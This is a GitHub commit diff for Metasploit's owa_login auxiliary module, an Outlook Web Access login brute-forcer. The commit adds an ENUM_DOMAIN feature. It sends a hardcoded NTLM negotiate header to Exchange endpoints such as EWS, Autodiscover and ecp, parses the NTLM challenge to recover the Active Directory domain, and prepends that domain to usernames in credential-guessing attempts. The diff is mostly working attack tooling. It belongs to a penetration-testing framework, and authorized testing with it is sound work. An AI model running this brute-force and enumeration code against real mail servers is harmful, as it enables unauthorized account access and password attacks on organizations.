Skip to content

Commit efcfc9e

Browse files
author
jvazquez-r7
committed
Land rapid7#2273, @kaospunk's enum domain feature for owa_login
2 parents 2b5e2df + 71a1ccf commit efcfc9e

File tree

1 file changed

+69
-5
lines changed

1 file changed

+69
-5
lines changed

modules/auxiliary/scanner/http/owa_login.rb

Lines changed: 69 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -4,6 +4,7 @@
44
##
55

66
require 'msf/core'
7+
require 'rex/proto/ntlm/message'
78

89
class Metasploit3 < Msf::Auxiliary
910

@@ -23,7 +24,8 @@ def initialize
2324
'Vitor Moreira',
2425
'Spencer McIntyre',
2526
'SecureState R&D Team',
26-
'sinn3r'
27+
'sinn3r',
28+
'Brandon Knight'
2729
],
2830
'License' => MSF_LICENSE,
2931
'Actions' =>
@@ -67,6 +69,7 @@ def initialize
6769
register_advanced_options(
6870
[
6971
OptString.new('AD_DOMAIN', [ false, "Optional AD domain to prepend to usernames", '']),
72+
OptBool.new('ENUM_DOMAIN', [ true, "Automatically enumerate AD domain using NTLM authentication", false]),
7073
OptBool.new('SSL', [ true, "Negotiate SSL for outgoing connections", true])
7174
], self.class)
7275

@@ -111,18 +114,37 @@ def run
111114
inbox_path = action.opts['InboxPath']
112115
login_check = action.opts['InboxCheck']
113116

117+
domain = nil
118+
119+
if datastore['AD_DOMAIN'] and not datastore['AD_DOMAIN'].empty?
120+
domain = datastore['AD_DOMAIN']
121+
end
122+
123+
if ((datastore['AD_DOMAIN'].nil? or datastore['AD_DOMAIN'] == '') and datastore['ENUM_DOMAIN'])
124+
domain = get_ad_domain
125+
end
126+
114127
begin
115128
each_user_pass do |user, pass|
116129
vprint_status("#{msg} Trying #{user} : #{pass}")
117-
try_user_pass(user, pass, auth_path, inbox_path, login_check, vhost)
130+
try_user_pass({"user" => user, "domain"=>domain, "pass"=>pass, "auth_path"=>auth_path, "inbox_path"=>inbox_path, "login_check"=>login_check, "vhost"=>vhost})
118131
end
119132
rescue ::Rex::ConnectionError, Errno::ECONNREFUSED
120133
print_error("#{msg} HTTP Connection Error, Aborting")
121134
end
122135
end
123136

124-
def try_user_pass(user, pass, auth_path, inbox_path, login_check, vhost)
125-
user = datastore['AD_DOMAIN'] + '\\' + user if datastore['AD_DOMAIN'] != ''
137+
def try_user_pass(opts)
138+
user = opts["user"]
139+
pass = opts["pass"]
140+
auth_path = opts["auth_path"]
141+
inbox_path = opts["inbox_path"]
142+
login_check = opts["login_check"]
143+
vhost = opts["vhost"]
144+
domain = opts["domain"]
145+
146+
user = domain + '\\' + user if domain
147+
126148
headers = {
127149
'Cookie' => 'PBack=0'
128150
}
@@ -140,7 +162,7 @@ def try_user_pass(user, pass, auth_path, inbox_path, login_check, vhost)
140162
'method' => 'POST',
141163
'headers' => headers,
142164
'data' => data
143-
}, 25)
165+
})
144166

145167
rescue ::Rex::ConnectionError, Errno::ECONNREFUSED, Errno::ETIMEDOUT
146168
print_error("#{msg} HTTP Connection Failed, Aborting")
@@ -204,8 +226,50 @@ def try_user_pass(user, pass, auth_path, inbox_path, login_check, vhost)
204226
end
205227
end
206228

229+
def get_ad_domain
230+
urls = ["aspnet_client",
231+
"Autodiscover",
232+
"ecp",
233+
"EWS",
234+
"Microsoft-Server-ActiveSync",
235+
"OAB",
236+
"PowerShell",
237+
"Rpc"]
238+
239+
domain = nil
240+
241+
urls.each do |url|
242+
begin
243+
res = send_request_cgi({
244+
'encode' => true,
245+
'uri' => "/#{url}",
246+
'method' => 'GET',
247+
'headers' => {"Authorization" => "NTLM TlRMTVNTUAABAAAAB4IIogAAAAAAAAAAAAAAAAAAAAAGAbEdAAAADw=="}
248+
})
249+
rescue ::Rex::ConnectionError, Errno::ECONNREFUSED, Errno::ETIMEDOUT
250+
vprint_error("#{msg} HTTP Connection Failed")
251+
next
252+
end
253+
254+
if not res
255+
vprint_error("#{msg} HTTP Connection Timeout")
256+
next
257+
end
258+
259+
if res and res.code == 401 and res['WWW-Authenticate'].match(/^NTLM/i)
260+
hash = res['WWW-Authenticate'].split('NTLM ')[1]
261+
domain = Rex::Proto::NTLM::Message.parse(Rex::Text.decode_base64(hash))[:target_name].value().gsub(/\0/,'')
262+
print_good("Found target domain: " + domain)
263+
return domain
264+
end
265+
end
266+
267+
return domain
268+
end
269+
207270
def msg
208271
"#{vhost}:#{rport} OWA -"
209272
end
210273

211274
end
275+

0 commit comments

Comments
 (0)